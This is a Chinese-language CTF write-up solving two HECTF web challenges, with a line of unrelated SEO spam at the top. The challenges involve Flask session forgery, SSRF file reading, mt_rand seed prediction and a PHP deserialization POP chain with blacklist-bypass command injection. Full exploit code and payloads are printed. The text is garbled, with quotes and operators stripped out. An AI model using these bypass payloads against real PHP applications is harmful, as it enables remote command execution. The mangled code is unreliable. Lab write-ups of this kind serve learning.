青岛 两学一做 网站,环境文化建设方案网站,德山经济开发区建设局网站,深圳网站营销seo费用伪装者 考点#xff1a;http协议flask的session伪造ssrf读取文件 首先根据题目要求就行伪造HTTP 这里不多说#xff0c;比较基础 然后下面得到是个登入 页面#xff0c;我们输入zxk1ing 得到 说什么要白马王子 #xff0c;一眼session伪造
看到ey开头感觉是jwt 输入看看 得…伪装者 考点http协议flask的session伪造ssrf读取文件 首先根据题目要求就行伪造HTTP 这里不多说比较基础 然后下面得到是个登入 页面我们输入zxk1ing 得到 说什么要白马王子 一眼session伪造
看到ey开头感觉是jwt 输入看看 得到key 那就直接flask session伪造就行 看到ey开头感觉是jwt 输入看看 得到key 那就直接flask session伪造就行 然后我们就得到 flag在这个路径下 试了下伪协议读取无果发现有个url读取 测试一下ssrf读取 成功获得flag EZphp 考点 生成伪随机数 PHP反序列化命令执行的过滤绕过 首先进行抓包发现如下数据 根据 rand()? seed 看来就是根据seed这个种子来生成伪随机数来进行传参
我们写个脚本
?php
mt_srand(1442660857);for($i0;$i1000;$i){echo mt_rand().\n;}
然后将生产的数 做成一个字典进行爆破 得到 Unablet0guess.php 访问得到PHP反序列化
源码
?php
error_reporting(0);
highlight_file(__FILE__);class GGbond{public $candy;public function __call($func,$arg){$func($arg);}public function __toString(){return $this-candy-str;}
}class unser{public $obj;public $auth;public function __construct($obj,$name){$this-obj $obj;$this-obj-auth $name;}public function __destruct(){$this-obj-Welcome();}
}class HECTF{public $cmd;public function __invoke(){if($this-cmd){$this-cmd preg_replace(/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh||^|||\.| |||\(|\/i,,$this-cmd);}exec($this-cmd);}
}class heeectf{public $obj;public $flag Welcome;public $auth who are you?;public function Welcome(){if(unserialize($this-auth)zxk1ing){$star implode(array($this-obj,⭐,⭐,⭐,⭐,⭐));echo $star;}elseecho Welcome HECTF! Have fun!;}public function __get($get){$func $this-flag;return $func();}
}new unser(new heeectf(),user);$data $_POST[data];
if(!preg_match(/flag/i,$data))unserialize($data);
elseecho 想干嘛; Welcome HECTF! Have fun! 这里的触发过程不难 难的是heeectf里面的一些考点先找出口函数在HECTF里面的exec(),然后 就通过反推形成一条POP链
unser.__destruct()-heeectf.welcome().-GGbond.__toStringheeectf.__get($get)HECTF.__invoke()
这里注意的welcome()函数里面
这个条件为真那么 auth就要被赋值为序列化后的zxk1ing 所以为
s:7:\zxk1ing\; 然后第二点在传参当中存在一个if(!preg_match(/flag/i,$data))因此这里需要16进制绕过即可具体方法就是前面的s大写之后将f变为\66即可这样就可以识别16进制编码了
最后 这里的绕过就采用双写绕过 空格使用${IFS} 因为exec输出无回显 所以我们使用tee命令进行传输flag进行解题
咱们可以通过如下来验证代码是否正确 输入进去进行如果左上角转了3s则成功
所以最终的代码
?phpclass GGbond{public $candy;}class unser{public $obj;public $auths:7:\zxk1ing\;;}class HECTF{public $cmd cat /f* | tee a;
}class heeectf{public $obj;public $flag Welcome;public $auth s:7:\zxk1ing\;;}
echo br/;
$a new unser(new HECTF(),s:7:\zxk1ing\;);
$a - obj new heeectf();
$a - obj - obj new GGbond();
$a - obj - obj - candy new heeectf();
$a - obj - obj - candy - flag new HECTF();
echo serialize($a);得到
O:5:unser:2:{s:3:obj;O:7:heeectf:3:{s:3:obj;O:6:GGbond:1:{s:5:candy;O:7:heeectf:3:{s:3:obj;N;s:4:flag;O:5:HECTF:1:{s:3:cmd;s:21:ccatat /f* | tteeee B;}s:4:auth;s:14:s:7:zxk1ing;;}}s:4:flag;s:7:Welcome;s:4:auth;s:14:s:7:zxk1ing;;}s:4:auth;s:14:s:7:zxk1ing;;}产生的payload经过 16进制绕过 双写绕过 空格绕过 得到下面最终payload
dataO:5:unser:2:{s:3:obj;O:7:heeectf:3:{s:3:obj;O:6:GGbond:1:{s:5:candy;O:7:heeectf:3:{s:3:obj;N;S:4:\66lag;O:5:HECTF:1:{s:3:cmd;s:41:ccatat${IFS}/f*${IFS}|${IFS}tteeee${IFS}a;}s:4:auth;s:14:s:7:zxk1ing;;}}S:4:\66lag;s:7:Welcome;s:4:auth;s:14:s:7:zxk1ing;;}s:4:auth;s:14:s:7:zxk1ing;;}
然后传入访问a路径得到a文件 下载打开就为flag